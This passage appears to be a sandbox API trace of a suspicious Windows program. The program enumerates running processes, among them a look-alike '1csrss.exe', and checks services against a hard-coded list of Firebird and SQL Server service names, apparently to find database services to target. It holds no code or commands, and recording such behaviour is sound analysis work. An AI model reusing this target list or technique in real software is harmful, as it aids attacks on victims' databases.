th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0305.633] lstrlenW (lpString="wininit.exe") returned 11 [0305.633] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0305.634] lstrlenW (lpString="csrss.exe") returned 9 [0305.634] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0305.635] lstrlenW (lpString="winlogon.exe") returned 12 [0305.635] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0305.636] lstrlenW (lpString="services.exe") returned 12 [0305.636] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0305.637] lstrlenW (lpString="lsass.exe") returned 9 [0305.637] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0305.638] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0305.638] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0305.639] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0305.639] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.640] lstrlenW (lpString="svchost.exe") returned 11 [0305.640] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.641] lstrlenW (lpString="svchost.exe") returned 11 [0305.641] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0305.642] lstrlenW (lpString="dwm.exe") returned 7 [0305.642] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.643] lstrlenW (lpString="svchost.exe") returned 11 [0305.643] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.644] lstrlenW (lpString="svchost.exe") returned 11 [0305.644] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.645] lstrlenW (lpString="svchost.exe") returned 11 [0305.645] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.645] lstrlenW (lpString="svchost.exe") returned 11 [0305.645] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.646] lstrlenW (lpString="svchost.exe") returned 11 [0305.646] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.647] lstrlenW (lpString="svchost.exe") returned 11 [0305.647] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.647] lstrlenW (lpString="svchost.exe") returned 11 [0305.648] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.648] lstrlenW (lpString="svchost.exe") returned 11 [0305.648] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.649] lstrlenW (lpString="svchost.exe") returned 11 [0305.649] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.650] lstrlenW (lpString="svchost.exe") returned 11 [0305.650] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0305.650] lstrlenW (lpString="spoolsv.exe") returned 11 [0305.650] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0305.651] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0305.651] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0305.652] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0305.652] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0305.653] lstrlenW (lpString="Memory Compression") returned 18 [0305.653] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.654] lstrlenW (lpString="svchost.exe") returned 11 [0305.654] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0305.654] lstrlenW (lpString="audiodg.exe") returned 11 [0305.654] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0305.655] lstrlenW (lpString="sihost.exe") returned 10 [0305.655] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.656] lstrlenW (lpString="svchost.exe") returned 11 [0305.656] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0305.656] lstrlenW (lpString="taskhostw.exe") returned 13 [0305.656] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0305.657] lstrlenW (lpString="explorer.exe") returned 12 [0305.657] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0305.658] lstrlenW (lpString="SearchUI.exe") returned 12 [0305.658] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0305.659] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0305.659] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0305.659] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0305.659] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0305.660] lstrlenW (lpString="1csrss.exe") returned 10 [0305.660] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.661] lstrlenW (lpString="svchost.exe") returned 11 [0305.661] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0305.661] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0305.661] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.662] lstrlenW (lpString="svchost.exe") returned 11 [0305.662] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0305.663] lstrlenW (lpString="consent.exe") returned 11 [0305.663] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0305.663] CloseHandle (hObject=0x4f0) returned 1 [0305.664] Sleep (dwMilliseconds=0x1f4) [0306.170] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0306.171] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0306.171] GetLastError () returned 0xea [0306.171] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0306.171] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0306.172] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0306.172] lstrlenW (lpString="Appinfo") returned 7 [0306.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0306.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0306.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0306.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0306.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0306.172] lstrlenW (lpString="AppXSvc") returned 7 [0306.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0306.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0306.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0306.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0306.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0306.172] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0306.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0306.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0306.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0306.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0306.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0306.173] lstrlenW (lpString="Audiosrv") returned 8 [0306.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0306.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0306.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0306.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0306.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0306.173] lstrlenW (lpString="BFE") returned 3 [0306.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0306.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0306.173] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0306.173] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0306.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0306.173] lstrlenW (lpString="BITS") returned 4 [0306.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0306.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0306.173] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0306.173] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0306.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0306.173] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0306.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0306.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0306.173] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0306.173] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0306.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0306.173] lstrlenW (lpString="CDPSvc") returned 6 [0306.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0306.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0306.173] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0306.173] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0306.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0306.173] lstrlenW (lpString="ClickToRunSvc") returned 13 [0306.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0306.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0306.174] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0306.174] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0306.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0306.174] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0306.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0306.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0306.174] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0306.174] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0306.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0306.174] lstrlenW (lpString="CryptSvc") returned 8 [0306.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0306.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0306.174] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0306.174] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0306.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0306.174] lstrlenW (lpString="DcomLaunch") returned 10 [0306.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0306.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0306.174] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0306.174] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0306.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0306.174] lstrlenW (lpString="DeviceAssociationService") returned 24 [0306.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0306.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0306.174] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0306.174] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0306.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0306.174] lstrlenW (lpString="Dhcp") returned 4 [0306.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0306.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0306.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0306.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0306.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0306.175] lstrlenW (lpString="Dnscache") returned 8 [0306.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0306.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0306.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0306.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0306.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0306.175] lstrlenW (lpString="DoSvc") returned 5 [0306.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0306.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0306.175] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0306.175] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0306.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0306.175] lstrlenW (lpString="DPS") returned 3 [0306.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0306.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0306.175] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0306.175] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0306.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0306.175] lstrlenW (lpString="DusmSvc") returned 7 [0306.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0306.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0306.175] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0306.175] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0306.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0306.175] lstrlenW (lpString="EventLog") returned 8 [0306.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0306.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0306.175] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0306.175] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0306.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0306.175] lstrlenW (lpString="EventSystem") returned 11 [0306.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0306.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0306.176] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0306.176] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0306.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0306.176] lstrlenW (lpString="FontCache") returned 9 [0306.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0306.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0306.176] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0306.176] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0306.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0306.176] lstrlenW (lpString="gpsvc") returned 5 [0306.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0306.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0306.176] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0306.176] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0306.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0306.176] lstrlenW (lpString="iphlpsvc") returned 8 [0306.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0306.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0306.176] lstrcmpiW (lpString1="sqlwriter", 